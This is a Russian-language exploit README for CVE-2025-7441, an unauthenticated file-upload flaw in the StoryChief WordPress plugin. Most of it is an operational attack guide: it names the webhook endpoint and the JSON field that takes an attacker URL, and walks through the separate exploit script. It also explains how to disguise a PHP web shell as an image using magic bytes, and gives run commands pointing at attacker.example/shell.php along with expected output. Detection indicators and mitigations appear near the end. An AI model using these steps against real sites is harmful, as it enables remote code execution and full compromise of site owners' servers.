CVE-2025-7441
StoryChief <= 1.0.42 — Неаутентифицированная произвольная загрузка файлов
🚨 StoryChief <= 1.0.42 — Неаутентифицированная произвольная загрузка файлов (CVE-2025-7441)
ℹ️ Краткое описание
StoryChief (плагин WordPress) версий до 1.0.42 включительно содержит критическую уязвимость неаутентифицированной произвольной загрузки файлов через REST-эндпоинт /wp-json/storychief/webhook. Злоумышленник может заставить плагин загрузить и сохранить контролируемый атакующим удалённый ресурс (например, веб-шелл) в каталог загрузок сайта, что во многих стандартных установках WordPress позволяет выполнить произвольный код.
- CVE: CVE-2025-7441
- CVSS: 9.8 (Критический)
💥 Воздействие
- Удалённая неаутентифицированная загрузка файла в wp-content/uploads/YYYY/MM/.
- Возможность удалённого выполнения кода, если загруженный файл является исполняемым (например, PHP).
- Полная компрометация сайта возможна, когда WordPress настроен выполнять загруженные PHP-файлы в корне документов.
🧩 Первопричина уязвимости
Плагин принимает входящую JSON-нагрузку (событие публикации), содержащую поле featured_image -> data -> sizes -> full, указывающее на произвольный URL. StoryChief не выполняет достаточную проверку типа/содержимого файла и не ограничивает источник URL, что позволяет плагину загружать удалённый ресурс и сохранять его в каталоге загрузок сайта. Проверки недостаточно для предотвращения сохранения файлов, содержащих исполняемый код.
🛠️ Эксплойт-скрипт — что он делает (соответствие уязвимости)
В этом разделе объясняется эксплойт-скрипт (предоставляется отдельно) на высоком уровне и каждое важное действие сопоставляется с базовой уязвимостью.
- Разбор аргументов командной строки — целевой URL (-u/--url), URL удалённой оболочки (-shell), опциональный HMAC-ключ, заголовки, флаги прокси/тайм-аута/повторов, опции отладки и режим только печати.
- Нормализация цели — добавляет /wp-json/storychief/webhook, если указан корень сайта.
- Проверка URL оболочки — проверяет доступность удалённого URL (HEAD/GET или curl).
- Извлечение имени файла — использует базовое имя удалённого URL для определения конечного имени файла в загрузках.
- Формирование нагрузки — помещает управляемый атакующим URL в data.featured_image.data.sizes.full, чтобы заставить плагин загрузить и сохранить файл.
- Подпись HMAC (опционально) — вычисляет meta.mac (HMAC-SHA256) с использованием опционального hex-ключа; некоторые серверы могут игнорировать или требовать это.
- Доставка — использует requests с повторами/backoff или резервный curl, поддерживает пользовательские заголовки, прокси и --no-verify.
- Обработка ответа — анализирует JSON-ответы на наличие ключей permalink/id для определения успеха; в противном случае сообщает о неудаче.
- Вывод — выводит ожидаемый путь загрузки: wp-content/uploads/YYYY/MM/ в случае успеха.
🖼️ Требования к shell-файлу (критически важно)
При использовании удалённого .php-файла (например: https://attacker.example/shell.php) файл должен содержать корректный заголовок изображения (магические байты), чтобы плагин или код обработки изображений считал/принял его как изображение. Ключевые моменты:
- Используйте подход polyglot: файл должен начинаться с корректных магических байтов изображения (например, JPEG, PNG или GIF), чтобы простые проверки и обработчики изображений принимали его, но также содержать PHP-нагрузку в секции, которая сохраняется на диске без изменений.
- Распространённые магические байты изображений:
- JPEG: 0xFF 0xD8 0xFF
- PNG: 0x89 0x50 0x4E 0x47
- GIF: ASCII "GIF89a" или "GIF87a"
- Не полагайтесь только на имя файла/расширение. Многие плагины проверяют содержимое файлов или используют библиотеки (GD, ImageMagick), которые проверяют целостность изображения.
- Зависит от окружения: некоторые серверы дополнительно проверяют или перекодируют изображения, что может удалить внедрённый код. Сначала тестируйте в авторизованной лаборатории.
- Этическое напоминание: НЕ публикуйте здесь рабочий код веб-шеллов. Создавайте и тестируйте такие файлы только в авторизованных средах.
▶️ Как запустить (примеры)
Замените заполнители на авторизованные цели. Во всех примерах ниже используется удалённый URL .php-оболочки.
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
- С явным путём webhook и отладкой:
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
- Использовать curl вместо requests:
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
- Только вывести нагрузку (не отправлять):
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only
Важные флаги:
- --no-verify: пропустить проверку TLS (использовать с осторожностью).
- --proxy: направлять запросы через прокси.
- --header "Key: Value": добавлять пользовательские заголовки.
📤 Ожидаемые результаты
- Успешный запуск:
- Uploaded: wp-content/uploads/2025/10/shell.php
- Примеры отладочного вывода:
- [DEBUG] shell HEAD status: 200
- [DEBUG] post status: 200
- [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
- Сообщения об ошибках:
- "[-] Error: shell URL is not reachable (not HTTP 200)"
- "[-] Error: request failed"
- "[-] Error: upload failed or endpoint returned non-JSON/HTML"
🔎 Обнаружение и индикаторы компрометации (IoC)
- Неожиданные POST-запросы к /wp-json/storychief/webhook с неизвестных IP-адресов.
- Новые файлы в wp-content/uploads/// с расширениями PHP или изображений, содержащие встроенный код.
- Логи веб-сервера, показывающие исходящие GET-запросы к контролируемым атакующим доменам, за которыми следует доступ к загруженным файлам.
- Подозрительные файлы изображений с добавленным или встроенным содержимым, не являющимся изображением.
🛡️ Смягчение и устранение
Краткосрочные меры:
- Немедленно обновите StoryChief до исправленной версии, когда она станет доступна.
- Заблокируйте или ограничьте /wp-json/storychief/webhook с помощью WAF или серверных правил.
- Ограничьте исходящие запросы сервера или доступ к недоверенным доменам.
Рекомендации разработчикам:
- Проверяйте типы и содержимое файлов после любого удалённого запроса; проверяйте изображения с помощью безопасных парсеров и отклоняйте некорректные файлы.
- Требуйте аутентификацию для вебхуков, вызывающих загрузку или создание файлов на стороне сервера.
- Убедитесь, что проверка HMAC/подписи реализована и применяется.
- Храните загруженный контент вне корня веб-сервера или отключите выполнение загруженных файлов в wp-content/uploads (правила веб-сервера).
⚠️ Ограничения и предостережения
- Успех эксплуатации зависит от конфигурации сервера, библиотек обработки изображений и политик выполнения веб-сервера.
- Серверы, которые повторно обрабатывают или перекодируют изображения, могут удалять внедрённые нагрузки.
- Если плагин проверяет подписи, передача неверного mac может привести к отклонению.
🤝 Ответственное использование
Этот документ предназначен для защитников и авторизованных тестировщиков. НЕ используйте эти методы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Несанкционированная эксплуатация незаконна и неэтична.
Если вы сообщаете о проблеме вендору или владельцу сайта, включите детали воспроизведения, безопасные шаги по устранению и предлагаемые исправления.
📚 Ссылки и авторы
- Отчёт и эксплойт-скрипт: Nxploited (Khaled Alenazi) — имя файла скрипта: CVE-2025-7441.py (предоставляется отдельно)
- CVE: CVE-2025-7441
- CVSS: 9.8